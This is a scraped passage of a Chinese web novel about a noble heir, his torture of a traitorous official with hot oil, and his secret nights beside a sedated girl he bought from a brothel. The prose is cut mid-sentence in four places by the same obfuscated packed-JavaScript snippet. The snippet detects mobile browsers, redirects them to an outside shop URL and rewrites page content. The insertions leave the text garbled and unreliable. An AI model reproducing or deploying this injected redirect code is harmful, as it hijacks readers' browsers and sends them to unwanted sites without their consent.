周诩的桃花眼幽深一片,笑着对她颔首,松开她下颌的手,指尖向下移去。 姜明月只觉得自己的心跳越来越快,大脑一片混乱。 她望着周诩,忽然张了张嘴,鬼使神差地说道:“公子,你愿意碰我了是吗?” 周诩眯起双眼。 “世子,那边有消息了。” 随安的声音在亭子外响起。 周诩垂下眼,神色严肃起来。 姜明月心中莫名松了一口气,紧接着又是失望,她也说不清是哪个更多一点。 她故作镇定,懂事地道:“公子……去忙吧。” 周诩轻叹一声,对她笑了笑。他重新站直,随口吩咐道:“从枫,记得将鱼缸搬回去。” “姑娘!” 等亭中只剩姜明月后,红袖跑上前扶起她,“姑娘,还好吧?” 她看见世子和姑娘离得极近……之后她便不敢看了。但世子和姑娘如此亲密,姑娘应该是开心的吧。 姜明月点点头,没说话。 “世子……”路上,随安欲言又止。 他刚才在外面看了个真切。世子对表姑娘的态度,像是有点过界了。 “怎么了?” 周诩笑容自若,浅琥珀的眸子看向他。 随安剩下的话却说不出来了。 他摇摇头。 周诩转回头,笑容淡了下来。 他知道随安想说什么。 对姜明月,他继母的外甥女,他有些松懈了。 马车停在了吴州府衙前。 吴州知府站在府门外,见到周诩,富态的中年人露出谄笑,立刻迎了上去。 “世子,您来了。” “人在牢里?” “在地牢里。您——” “带路。” 吴州知府话被打断,有些诧异地看了他一眼,却不敢置喙,连忙在前面带路。 他本以为这位世子不会想去地牢那种地方,毕竟他当官这么多年,总共也没去过几次地牢那种地方。他去一次都觉得浑身难受。 顺着狭窄的楼梯走进地牢,阴暗潮湿的气息扑面而来。铁栏后犯人挣扎,铁链发出刺耳的声音。黑色锦缎的靴子踩在地上,溅起浑浊的水花,而周诩却置若罔聞。 牢门被打开,狱卒拉出一人。 他趔趔趄趄地被压在地上,抬起头看去。 眼前的公子一袭青衫,高高在上,和他身上已经看不出颜色的衣服天差地别。周诩垂着眼看着他,一双桃花眼中似神佛般含着悲悯。 地上的人认出了他,忽然生出了希望。若是落到定国公那位公子的手上,他一定没好果子吃,而武昌侯世子就不同了。他为人温润如玉,刚入朝时,还会彬彬有礼地与他打招呼。 “周世子,周世子你饶我一命,我也是被逼的,我没办法——” 他说着,想要上前抓周诩的衣摆。 “刘侍郎,好久不见。” 周诩从随安手中接过长鞭,在刘侍郎要碰到他的袍子时,挥了下去。 刘侍郎吃痛地跌倒在地上,不敢置信地捂住伤口。 “周世子!” “啪——” 又是一鞭子,刘侍郎的衣服上瞬间多了一道血痕。 他匍匐在地上,再也起不来。 “身为兵部侍郎,里通外国,与蛮族勾结,是为叛国。潜逃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746191|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罪加一等。”周诩叹了口气,“若是你说出还有谁,我便绕你一命,如何?” 刘侍郎趴在地上,一动不动。 周诩等了一会,不见他回应,回身坐到狱卒搬来的圈椅上。 “烧热油,给我浇,浇到他开口为止。” 刘侍郎蓦地抬头,狠狠地看着周诩,只觉得他的谦和此刻都与如恶魔的低喃一般。 “怎么样?”周诩笑容不变。 “就我一个人,没有其他人。要杀要剐随意!”他吐出一口血,双眼猩红。 “油来了吗?”周诩转头,一旁的狱卒连忙提着一个铁桶上前。 一旁的吴州知府早就吓得僵在原地。 他怎么也没想到,武昌侯世子的手段一点也不输那些武将和酷吏。 想到自己曾经对他看上的女人动的那点年头,如今见到狱卒真的拿来了热油,吴州知府顿时吓得一阵反胃。 “肖知府先回去吧。” 吴州知府如释重负,逃也似的走了。 周诩不在乎他,只盯着地上的刘侍郎。 “害死了那么多人命,平民,妇女,孩童,只你一个人的命怎么还的起?”他淡淡地说,“浇吧。” 尖叫声撕心裂肺,血水渐渐染红了地面。周诩静静地坐着,神态自若,眼中无波无澜。 随安望着他的背影,叹了口气。 世子这一阵子,大概又要睡不好了。 等他们再走出府衙时,已是夕阳西下,阳光却依旧猛烈。周诩迎着夕阳有些晃神,下意识抬手挡住阳光。 “公子。” 忽然,眼前被阴影笼罩。周诩放下手,见有人撑着伞,站在他面前。 伞下的姑娘一身荆钗布裙,却难挡她出色的容貌。她笑容柔美,不卑不亢地让人打量。 “你是?” “公子不认识我了。我是明月的朋友。” 周诩沉吟片刻,想起来她是谁了。 然而他对此没什么兴趣,只点了点头。 见他如此,小春也不恼,只将手中的伞递过去,“这会日头大,公子用我的伞吧。” “不必。我乘马车。” 周诩一笑,拂身上了马车。 小春点点头,收回手,也不再多言,目送着马车渐行渐远。 而之后几天,姜明月都没再见过周诩。 她知道他有公事要做。如他们这样的人,从京城远道而来江南,必定不可能只是来游玩的。听门房的人说,世子早出晚归,十分忙碌。 姜明月在院中没什么事做,每日不是绣帕子,便是在院子里闲逛。 她倒是想去找小春,可若是出门便需要告知周诩,姜明月并不想用这种小事打扰他。她只得盼望离开吴州之前有机会再见小春。 可自她被带回来,周诩没有去过她房中一事,却在别院中渐渐有了风言风语。 姜明月的真实身份,随安没有张扬,底下的人便不知道。他们原本以为这姑娘不知何方神圣,让世子终于动了凡心,然而几天下来,却也没见世子去她房中,眼瞅着就是失宠的样子。 很快,便有嘴碎的人开始议论,世子带回来的这姑娘,实际就是个障眼法,更有甚者,不知道从哪里听到风声,认为姜明月是世子要带回去送给哪位王爷的瘦马。 10. 离魂 姜明月站在回廊的柱子后,默默地听着。她的表情没有生气,也没有难过。她听得认真,似乎还露出了思索。 等那声音离得越来越远,红袖才忿忿地“呸”了一声。 “她们都说什么呢。” 姜明月却奇怪地看了她一眼。 “姑娘你怎么这么看我?我说错了吗?” 姜明月摇摇头,“揣测罢了。我倒是觉得,他们说的也不是没有可能。” 虽然直觉告诉她,周诩不是这样的人,但他对自己究竟是什么打算呢?她若有所思,望着远处的花丛,“果然……还是不能坐以待毙。” “姑娘,你要做什么?” “为自己寻条出路罢了。” 姜明月笑道,对红袖眨了眨眼,安慰她。 她想要留在公子身边。 这些天她听了这么多议论,有议论她的,自然就有议论旁人的。她知道公子身边还没有人,就连青鸳也没有近身的机会。 既然公子对她没有兴趣,那么只能由她来抓住这个机会。 红袖不知道她的打算,只是见她似乎有些心神不宁,晚膳时也没用多少,只是吃了几口便放下筷子。 红袖劝不动,没办法,端了汤给她,要她一定喝了汤才作罢。 热汤确实让她的身子暖了起来。姜明月用茶漱了口之后,便定定坐在窗边,拿了针线来做。她望着夜色一点点变沉,直到最后看不见远处的楼阁。 红袖来剪烛芯,望着姜明月手中只差几针就要完工的荷包,露出笑容。 “姑娘手真巧,竟然就要绣完了呢。” 姜明月摸着荷包上的绣花,也忍不住弯唇笑了起来。 “姑娘既然忙完了,就休息吧。” 红袖想要去铺床。然而她刚一动,便被姜明月拉住。 “我……我出去一趟。”她站起身,低低说道。 “出去?这么晚了,姑娘你——”蓦地,红袖想到了什么,睁大眼睛,“姑娘,你不会是要!” “总要试一试的。” 如果这样也不行,那她大概就黔驴技穷了。 “那我陪姑娘一起去。” 红袖虽然年纪不大,可是她可以想象一个年纪不大的姑娘自己去……说粗俗一点,去爬男人的床,有多难。 姜明月摇摇头,“我自己去就好。” 多一个人,也不会怎么样。这是她自己的事,如果惹公子恼了,也只气她一人。 月凉如水,一盏小灯发出微弱的火光,照亮了姜明月脚下的路。 姜明月凭着记忆,走在回廊上,向前院走去。 她平时不能随意到前院来,也只去过周诩的书房,对他的卧房却不甚熟悉。 夜晚比白日的凉意更甚,姜明月深吸一口气。明月皎皎,她的算计似乎无处可藏。 她绕过假山石,正要往前走,忽然一道光打在她脚前。 这道光不像月光,它闪烁着,摇摆不定。 姜明月先是一惊,紧接着顺着那道光打方向看去。 “公子?” 假山石上的人听到声音,转头看来。 与平日里不同,他穿着一袭黑衣,披着大氅,像是要与夜色融为一体。月光下,他面上没什么表情,半阖的桃花眼凛凛,如寒星一般。乌发垂下,他整个人如神像似的无悲无喜。 他身旁放着的是姜明月见过的鱼缸,那闪烁的光正是它反射出来的。 姜明月隐约感觉眼前的公子与之前有些不同,可她又说不上是哪里。她提着灯,望着周诩,却不敢上前。 周诩却动了。 黑衣如鬼魅一般落在她面前。不等姜明月说话,周诩忽然抬手掐住她的下巴,强迫她仰起脸。 他的视线从姜明月莹莹的杏眼划过,落在她娇艳的唇上。 “……是你。” 对上他的眼睛,姜明月背后无端升起一阵凉意。可想到自己的来意,她稳了稳心神,“公子怎么在这里?” “睡不着。” 意外的,周诩直接了当地回答了她。他面无表情,姜明月却觉得,他语气中似乎透着淡淡的苦恼。 姜明月愣愣地看着他,觉得周诩仿佛变了个人。 周诩松开手,像对她没了兴趣,转身欲走。 “公子……” 姜明月下意识伸手拉住他的大氅,见他转头看自己,眉头微皱,连忙露出笑容。 “那不如,我,我陪公子一起。” “不必。” 周诩转身朝鱼缸走去。姜明月只得追上他。 院中的温度比回廊下更低了。姜明月穿着薄薄的春衫,尽管披着披风,却还是微微发抖。 她望着一旁静静坐着的周诩,见他只望着鱼缸中的小鱼出神,忍不住开口,“公子,从前在家时,我学过一首曲子,不如唱与公子听可好?” 姜明月从前所在的县城时有大大小小的洪灾。大水来时,家家户户门窗紧闭,只听到水拍打门窗的声音。母亲抱着害怕的孩子,哼着绵长的歌谣,安抚着每一个在天灾前无力的百姓。 当地的人几乎都会哼唱的曲子,姜明月自然也不例外。见周诩没有拒绝,她便自顾自地唱了起来。 月光下,她的声音细软柔和,悦耳的歌声带着她许多早已记不起的回忆,悠扬婉转。 周诩垂下眼,眸中有着说不清道不明的思绪。 “世子——” 随安转过回廊,正要出声,周诩却看向他,他一下子噤了声。 随安不解,然而等他目光落到伏在世子膝上的人时,顿时恍然大悟。可是紧接着他又紧张起来。 世子的事若是被表姑娘知道了…… 周诩注视着膝上的女孩,见她披着大氅,半张脸缩在里面,似乎睡得有些不安稳。他伸手,指尖点在她眉心,将她蹙起的眉头抚平。 明明说要陪他,结果自己先睡着了。 “世子,她——” “无碍。”周诩压低声音,漫不经心地说道。 待姜明月醒来时,天光已然大亮。 昨晚发生的事猛地浮现在脑海里,她挣扎着支起身子,四下环顾,却失望地发现自己正躺在熟悉的床上,床幔垂下,身上还穿着昨晚的衣服。 公子没有留下她。姜明月心中乱作一团,懊恼无比。 她想起昨夜与白日里不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746192|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的公子,心中划过一丝怪异的感觉,却来不及细想。 红袖的声音在帐外响起:“姑娘,你回来了吗?” 她声音有些惊讶又有些不确定。姜明月挑起床幔,点了点头。 “那姑娘……” 红袖的目光落在她身上,带着担忧,她脸色不太好,想来昨晚也没睡好。 姜明月摇摇头。 红袖还想再说什么,姜明月却对她轻轻笑了笑。 “莫要多问了,所幸公子并未恼我出格的举动,但……还是少提为好。” 红袖见状,也不再问,端了水给姜明月净面。 水中滴了桃花汁水,热气萦绕,姜明月捧水浸湿脸颊,肌肤透出淡淡的粉色,如被桃花染色一般。 世子为什么不碰姑娘呢? 红袖忍不住想。她一边想着,一边接过姜明月用好的帕子,端着水盆往外走。 她刚推开门,迎面就和随安撞上了。 “姑娘梳洗好了?” 红袖点点头,“不知随安哥哥找姑娘有什么事?” “刚好,你与姑娘说,若是她想出门,便与门房打个招呼,让从枫护着姑娘出门即可。” 世子不知为何突然想起这件事了,特意让他一早便跑一趟知会表姑娘。 “哎,好!” 红袖顾不得其他,连忙回身,将这消息与姜明月说了。 姜明月同样眼前一亮。 她想起了小春的事。公子既然允许她出门,那她就可以去找小春了。 “多谢公子,我……”她忽然一顿,接着才缓缓道,“公子这几日公务繁忙,我改日再去与公子道谢。” 姜明月一瞬间,竟不知道该如何面对周诩了。或许是一次次的失败让她不知道下一步该怎么做才好。她想,她应该冷静下来仔细想想她该怎么做了。 “她是这么说的?” 他神色和煦,随安看不出他有不悦。 “是。” “随她吧。”周诩随手捻了几粒鱼食丢进水中,走回书案后,抬眼看向他,“我昨晚,离魂症又犯了?” “是,还被姜姑娘看到了。”随安低下头。 周诩长长叹了一口气,语气中却听不出多少在意,“这倒是麻烦事。” “姜姑娘——” “想来,她也不知道发生了什么。” 随安仔细想想,倒觉得世子说得没错。世子的离魂症只在世子睡眠时发作,不仔细看的话,实际发病的世子与平日里相差不大。 “属下已经按成王殿下所说去找那位大夫了。想必世子的病不日便能好转。” 其实最好的办法,就是不要让世子再去碰地牢那些事了。可是世子要得重用,便只能如此。 想当年的武昌侯也是武将名门,不然也不会获封“武昌”,只可惜一代代皆为勋贵,到最后武昌侯子孙担任的竟只剩了几个不值钱的文职。 而上一任武昌侯有野心,在他的经营下,武昌侯府终于重新回到朝廷重臣的行列中。 周诩应了一声,点着桌面,若有所思。 其实,除了等那大夫之外,或许还有别的方法缓解他这个怪病。 11. 同床 马车徐徐停在河边,红袖扶着姜明月下了马车。 姜明月让其他人在原地等她,自己凭着记忆来到上次见到小春的饭店外。 因为过了饭点,店中的人并不多。那晚的船夫也没在船上,正在柜台旁的桌子上吃饭。 听到声音,船夫抬起头,见到姜明月,他一愣。 “你是……” “店家,我来找小春。” 船夫恍然大悟,认出了她。她今日穿着衫裙,明眸皓齿,比那晚更让人见之难忘。 “小春!别忙活了。”他朝后厨喊道,“你朋友来找你了。” “哎!” 小春风风火火地撩起帘子走了出来。见到姜明月后,她笑容深了几分。 “明月你终于来了!我都等你好些天了。” 小春拉着姜明月穿过后厨,来到后院的偏房中。 “我现在住在这里,你别嫌弃。” 房间不大,被收拾得很干净,只是若要与抚春楼相比,确实显得有几分简陋。 姜明月使劲摇摇头,“小春,不要这么说。” 小春微微愣神,接着像是松了口气一般,拉着姜明月坐在了床上。 她自然知道姜明月想问什么,那日自己不告而别,确实是她的错。小春也不隐瞒,不待姜明月开口询问,自己便讲了起来。 她早就有离开抚春楼的心,而老鸨让她接客,尤其客人中还有成阳王,让她终于下了决心。她用偷偷存的钱买通了一个婆子,在她的帮助下成功逃出了抚春楼。原本就要成功了,不料还是被老鸨发现。 情急之下,她跳进了河中。三月的河水冰凉刺骨,水流湍急,老鸨以为她绝无生还的可能,这才放弃了她。 “可能是我命大,刚好被船夫救下。我无处可去,恰好他们夫妻中年丧子,我便认了他们做义父义母。他们都是好人,不过我没敢告诉他们我的来历。”小春自嘲地笑笑,接着,她又拉住姜明月,“明月,还未谢过你的银钱。我一直没动,我——” “不用了。”姜明月看出她的意图,打断道,“你我分别,我也只能拿出这些了。” 小春一愣,“明月,你要离开吴州?” 姜明月迟疑片刻,还是点了点头,将自己的事跟她说了一遍。 “竟是我,害得你替我顶了上去……”小春听完,只觉得心中五味杂陈。她目光复杂,忍不住又问道:“那那位公子,对你好吗?” 周诩对她好吗? 姜明月这次毫不犹豫地点了点头。 但…… 姜明月抿着唇,有些不好意思,可除了小春,她也没有其他人可以说了。 “小春,你说为什么,公子不碰我呢?” “什么?” 小春睁大眼睛,也有些意外。 “你说……那位公子,还没有碰你?” 既然是那公子主动赎了姜明月出去,怎么又会不碰她呢? 小春沉吟许久,最后长长吐出一口气。 “明月……我们这样的身份,说到底,也只是玩物罢了。就算再受宠爱,也不过是个做妾的命。” “既然那公子不碰你,想来也不喜太出格的行为。你今后便不要太主动了,都听那位公子的吧。” 姜明月愣愣地看着她。 “那我……” “不愁衣食,不必担惊受怕,不是很好吗?” 不是已经很好了吗?为什么还要追求那么多呢? 小春望着姜明月点了点头,欣慰地笑了。 就算是被那公子厌弃,不也能锦衣玉食? 小春将姜明月送了出去,看着她被红袖扶上马车。 “小春!你去哪了?还不来给大爷们倒酒?” “哎,来了。” 小春深吸一口气,露出笑容,转回身朝店里走去。 “刚才那是谁啊?那长相身段,可一点也不必小春你差嘛。” 小春笑容不变,没说话,只将他们的酒杯斟满。 “呦,小春你可别生气,我们肯定还是更喜欢你的。” 男人趁机在她手上摸了一把,接着几个人都哄堂大笑起来。小春望着这些粗俗的男人,他们穿着粗糙的次等绸缎长袍,一边笑一边时不时拍桌子。她垂下眼,端着酒壶去了后厨。 “小春,没事吧?” 她的义母正在盛菜,听到声音忍不住担心地朝外面看去。 小春摇摇头。 “为难你了孩子。你忍忍,他们,他们也没什么太坏的心思。” 小春生的好,有些客人见了就难免想占些便宜。可既然是客人,他们也没办法…… 她知道小春曾经肯定也是富贵人家的孩子,不然不可能生的如此好,说话气度都与他们不同,手也娇嫩无比。 “可惜我们没什么本事,不能让你过上以前的日子,还让你这样的富贵小姐来做事。” 小春有些出神。良久,她摇摇头。 “我没事的,义母。” 若是她那日没有逃走,那么…… 她低着头,谁也不知道她心中思绪万千。 姜明月并不知道她走后发生了什么。等她回到别院,便得知周诩不在府中,似乎是成王把他叫走了,想来晚膳也不会回来。 她点点头,笑着谢过门房。 从枫看了她一眼,没说什么。他任务完成了,只与姜明月行礼告退。 而红袖却有些好奇。 她一直留在马车上,不知道小春与姜明月说了什么,只是奇怪姜明月怎么看起来没什么失望。 之前若是得知见不到世子,姑娘都会多少露出失落的表情。 “姑娘……你不想见世子吗?” 姜明月不假思索地摇摇头,“我当然想见公子。” “那……” “只是我想,公子应该,更希望我懂事一点。我之前太任性了,总是缠着公子。” 红袖点点头,可她又觉得有哪里不对。 不过既然姑娘这么说了,那她自然听姑娘的。 接下来几天,姜明月果然没有再主动去找周诩。 而她不去找,周诩也没有主动来见她的理由。 姜明月每日在房中无事,不是和红袖研究香料,便是做针线活。恍惚间,她觉得自己又回到了当年闺中的生活。 这一日夜晚,乌云低垂,姜明月坐在窗边做着针线。忽然,一道闪光劈开夜幕。姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746193|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明月眼前一闪,紧接着就听到震动天际的雷声。 “嘶……” 她的手一抖,针便扎到了指尖。 殷红的血冒了出来。姜明月忍不住甩了甩手,连忙将手里未完成的绣活放到一旁,不让自己的血沾上去。 “呀!” 红袖端着一碗牛乳走了进来。她见状,也是一惊,将牛乳放到桌上,取了帕子捂住她的手指。 “刚才被雷声吓了一跳……”姜明月不好意思地笑笑。 “我看这天是要下大雨了。”红袖也抬头朝窗外看去,“姑娘这手伤着了,喝点牛乳,早些休息吧。” 姜明月点点头,端起一边的牛乳喝下。 倦意袭来,她躺在床上,不一会便沉沉睡去。 房中的灯被熄灭,只余床头一盏小灯忽明忽暗,时不时发出细微的“噼啪”声,很快便被雨滴打在瓦上的声音所掩盖。 忽然,传进屋中的雨声变大,下一瞬又弱了下去。 周诩依旧一身玄色,周身透着雨夜的凉气。 他撩开帐子,走进内室,不紧不慢地打量着房中的布置。 一旁的小案上还放着未完成的绣活,绣着栩栩如生的鸳鸯,针脚细密,一看就是一针一线精心绣出来的。 周诩拿起来看了一眼后,忍不住发出一声低低地嗤笑。 她倒是悠闲。 他转回身,骨节分明的手挑起床幔。 朦胧的灯火中,姜明月侧身躺着,露出恬静的娇颜。她双眼紧紧闭着,眉宇间隐约透出些许不安稳,一只白皙的手抓着被子。 周诩皱了皱眉,似有些犹豫,可下一秒还是轻叹一声,将自己的外袍脱下。 他掀起内侧的被子,弯腰上床,背对着姜明月躺下。 似乎是感觉到床铺微微塌陷,姜明月不自觉地翻了个身,向里挪了挪,温热柔软的身子贴上了周诩的背。 熏香的味道萦绕在房中,而她身上却意外的没有熏香的味道,只有一股淡淡的牛乳夹杂着桂花的香气,比熏香还勾人。 周诩身子有些僵硬,可很快,他就感受到身后的人正在微微发抖。 周诩睁开眼,眸色沉沉。 那碗牛乳里有安神药,他知道她没有醒,只是被梦魇着了。 他转身,以几乎是将她搂在怀里的姿势,手轻轻落在她纤瘦的背上。将人带回来这么多天,怎么也不见她长胖多少。 手一下一下轻拍着她的背,周诩感觉到他怀里的人逐渐放松了下来,呼吸也再次变得清浅绵长。 “真是娇气。” 他说着,手上的动作却也没停,直到怀中的人不再不安,下意识往他的怀里蹭了蹭。 雨声渐大,淅淅沥沥,而周诩听着身边人的呼吸,竟也很快沉沉睡去。 雨下了一夜,到了第二天清晨,才渐渐地停了。 紧闭的窗户传来轻响,周诩蓦地睁开眼。 他想抬手揉揉额角,却发现自己还搂着怀中的女孩。她睡得香甜,团成一团,双手放在自己的胸前。 “吱呀——” 门被推开,周诩穿戴整齐地走了出来。 “世子,”随安站在房外,“昨夜休息得可好?” 12. 夜访 水顺着屋檐滴落,空气中还弥漫着土腥。 周诩接过他手上的披风披上。月白色落下,遮住他一身的暗色衣袍。 他朝那重新关上的门看了一眼,桃花眼中晦涩不明。没急着回答随安的问题,他转身,率先朝前院走去。 “我昨夜犯病了吗?” 随安紧随其后,“没有。” 两个暗卫轮流盯了一夜,并没有发现什么异动。 周诩点点头,双眼微眯,若有所思,“果然如此……此事不必让她知道。” 这个她不用说,自然是姜明月。随安先是应下,可还是忍不住道:“世子,万一并不是非表姑娘不可呢?从前并没有女子靠近您……” 世子也没说他是怎么发现表姑娘能让他安睡的,他自然会有所猜测。 世子如今这么做,就是要偷偷摸摸,不对,是暗中来找表姑娘了。可表姑娘不可能一辈子不嫁人,万一她嫁人后,世子怎么办呢?难不成世子要…… “世子,您真的要纳了表姑娘吗?” 随安被自己的想法吓了一跳。他本不觉得世子有这个打算,可根据他近来的观察,随安觉得世子未尝没有这种念头。 周诩脚步一顿。 他回头,比春晨还要薄凉的目光扫过随安。 随安蓦地噤声。 “随安,你有些僭越了。” “世子赎罪。” 他听出了世子声音中的不悦,浑身僵硬。只是好在周诩最后并没有让他去领罚。 许久,他听见世子开口:“今晚……叫青鸳来。” 随安猛地抬起头,意外地看向周诩。 周诩垂着眼,不知道在想什么,但随安还是看出来世子……似乎有几分迷茫。 随安说得没错。姜明月是他继母的外甥女。 他不该和她扯上任何关系。 周诩压下其他思绪,双眼渐渐清明。 “只叫她来,说我有事就行。不要惊动旁人,省的平添误会。” “是。” 随安领命垂下头。 他心中叹了口气。 只希望青鸳不要误会,产生不切实际的想法就好。 二人的身影渐渐消失在回廊尽头。红袖来时,姜明月房前一片静谧,只有偶尔的鸟叫和屋檐下的雨水滴答声。 春风吹过,她有点冷,连忙轻手轻脚推开门,进了房中。 房中一片暖意。红袖搓了搓手臂,掀起帐子,轻声唤道:“姑娘,你醒了吗?” 被衾中传出迷迷糊糊的应声,直到红袖将床幔也拉了起来,阳光照进来,姜明月才悠悠转醒。 她揉着惺忪的双眼,感觉头还有点沉重,太阳穴发胀。 “姑娘昨晚睡得如何?” 姜明月想了想,点点头,“开始不太好,后面好像还不错……” 红袖忍不住噗嗤一笑,“姑娘是做梦了吧。” “算是吧。” 与其说是做梦,倒不如说她回忆起了她父亲出事那一天。 也是一个雨夜,雨下得太大,母亲索性就让她今晚跟着自己睡。她正在房中听母亲抚琴时,门被忽然撞开,跌跌撞撞的大丫鬟杜鹃跑了进来。 “夫人,夫人不好了……”她浑身湿透,双眼圆睁,不知是被冷得还是吓得,忍不住发抖。 她吓了一跳,忍不住扑到母亲怀中。母亲一边摸着她的头,一边不虞地看向杜鹃。 “有什么事慢慢说。如此像什么规矩。” “夫人,老爷他,他没了!” “什么叫没了!” “铮——” “娘,你的指甲……” “老爷他,他失足,掉入了河中……” 她还没反应过来,就见母亲闭上了眼。 “明月……”她搂住怀中的女儿,眼泪流了出来。 “你爹他,回不来了。” 姜明月浑身发冷,眼前一片黑暗。 黑暗之中,她感觉突然被暖意包围。她从回忆之中挣脱出来,想起自己现在已经不必再害怕了。 红袖见她心情不错,忍不住提议道,“姑娘,要不然我们去院子里转转吧?我听说院子里这几天来了一个什么鸟,不知道是谁伺候的,还能学人说话呢!” 姜明月也来了兴趣,然而她望着窗外的日头,还是摇了摇头。 “刚下过雨,现在太阳正猛呢,而且院子里也一定在收拾。不如晚一点,等我绣完再去。” 红袖点点头,将她案上的绣活取了过来。 姜明月绣的这帕子是要送给周诩的。虽然她知道男子不会随身带着鸳鸯的帕子,可她也想让周诩明白她的心。 想到这,姜明月双颊泛红,飞针走线,低头仔细绣了起来。 这一绣,没想到眨眼间就日暮西垂。她将随后一根线头剪断,终于松了口气。 “红袖!快来看,我绣完了!” 杏色的帕子上,彩线隐隐透着流光溢彩,鸳鸯栩栩如生,针脚细密,找不出一丝疏漏。 “姑娘绣得真好!”红袖忍不住感慨道,“姑娘是……要送给世子的吧?” 姜明月点点头,巧笑嫣然,“我为公子绣的。” 她活动活动肩膀,方才为了不出错,集中注意一直紧绷着,此刻结束只觉得有些乏累。 “姑娘,咱们刚好去院子里走走吧?” 姜明月点点头,让红袖为她披上披风,二人趁着天还未黑走出厢房。 “姑娘,你之前听说过这会说话的鸟儿吗?” 姜明月细细思索,“仿佛是听说过的。《山海经》里说,‘黄山有鸟焉,其状如鸮,青羽赤喙——’” 话音未尽,姜明月忽地听到前方传来说话声。说话的二人被门洞挡住,姜明月不由得停下脚步。 “随安哥哥,你说,世子……让我今晚去一趟?” 青鸳的声音带着不已察觉的颤抖。她强行让自己镇定下来,眼中却带着不可置信,和隐隐的喜悦。 “是。世子有事找你。” “不知,我该什么时辰过去?” “……戌时之后。” 戌时之后。 姜明月如被定在原地一般。戌时,是公子就寝的时间…… 青鸳显然也想到了。她面上露出红晕,忍不住低下头,朝随安福了福身。 “青鸳知道了。” 随安张了张嘴,还想说什么,却又琢磨不透世子的想法,不敢妄言。 最后他只点了点头,转身离去。 “红袖,你说的鹦鹉真的在院子里吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746194|145279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >青鸳回头,见姜明月带着红袖正兴致勃勃地朝她的方向走来。 姜明月杏眼中一片清澈,透着欢欣。她面容还是那般娇美,只是青鸳看着,却没有当初那么嫉妒了。 她不知道姜明月有没有听到方才的对话,只是不管她听没听到,青鸳此刻内心都是压不住的得意。 “呦,姑娘这么得空,来逛院子啊。” 她笑容灿烂,迎了上去。 姜明月点点头,“青鸳姑娘怎么在这里?” “有点事罢了。”她朝姜明月福身,“那姑娘慢慢逛,我先走了。” 她与姜明月擦肩而过,姜明月笑容不变,只有红袖知道她攥紧的双手在微微颤抖。 等青鸳走远了,红袖才敢出声。 “姑娘……” “无事。” 姜明月深吸一口气。 随安只说公子找她有事,却并未说让她服侍。 再说……若是公子真想让青鸳服侍,说到底,她也没有资格阻止。她早该有这个准备。 “走,我们去看鹦鹉!” 她重新露出笑容,将心中那点难受的劲压下。 直到夜幕降临,她都刻意不让自己再去想这件事。 周诩直到戊时才回来。 青鸳早早就做好了准备。得了信,她匆匆赶到了前院。 “青鸳,世子在书房等你呢。”从枫刚好从外面走进来,见到她便出声将她喊住。 然而青鸳听完,却是一愣。 “书房?” “对啊。世子应该刚进去吧。” 难道不是卧房吗? 青鸳压下心中的疑惑,重新收拾好心情,露出一抹笑容,来到书房前。 她敲了敲门,就听见世子清冷的声音从里面传来。 “进来。” 青鸳推开门,却猛地闻到一股淡淡的血腥味。 她忍不住脸色一白,不过很快她就压下心中的不适,款款走上前,“见过世子。” 周诩站在书案前,正在写着什么。他依旧清风霁月,大氅还披在身上。他极少穿深色,暗红色的大氅衬得他更加丰神俊逸。 青鸳忍不住抬眼,出神地望着他。 周诩没说话,直到写完手中的东西,放下笔,才朝她看来。 青鸳紧张地低下头。 周诩看着她,桃花眼眯起。 好一会,青鸳听到他说道:“过几日就要回京了,你去收拾一下院中各处,替府中女眷准备些礼物。” 青鸳一愣。 她先是应下了,接着又不由得向周诩望去,希望他下一句便是留下她。 “行了,你回去吧。” “世子,就让我走吗?是青鸳哪里没做好吗?”她不甘心,直直地看向周诩。 “我找你来就是为此事。”周诩勾唇,笑容淡淡,“你没有做得不好的地方。” 青鸳咬着下唇,低下头掩盖住心中的情绪。 “是……那青鸳就告退了。” 望着她的背影,周诩的笑容消失,眉头皱起。 没有用。 在青鸳靠近他那一刻,他就知道青鸳不可能治他的病症。 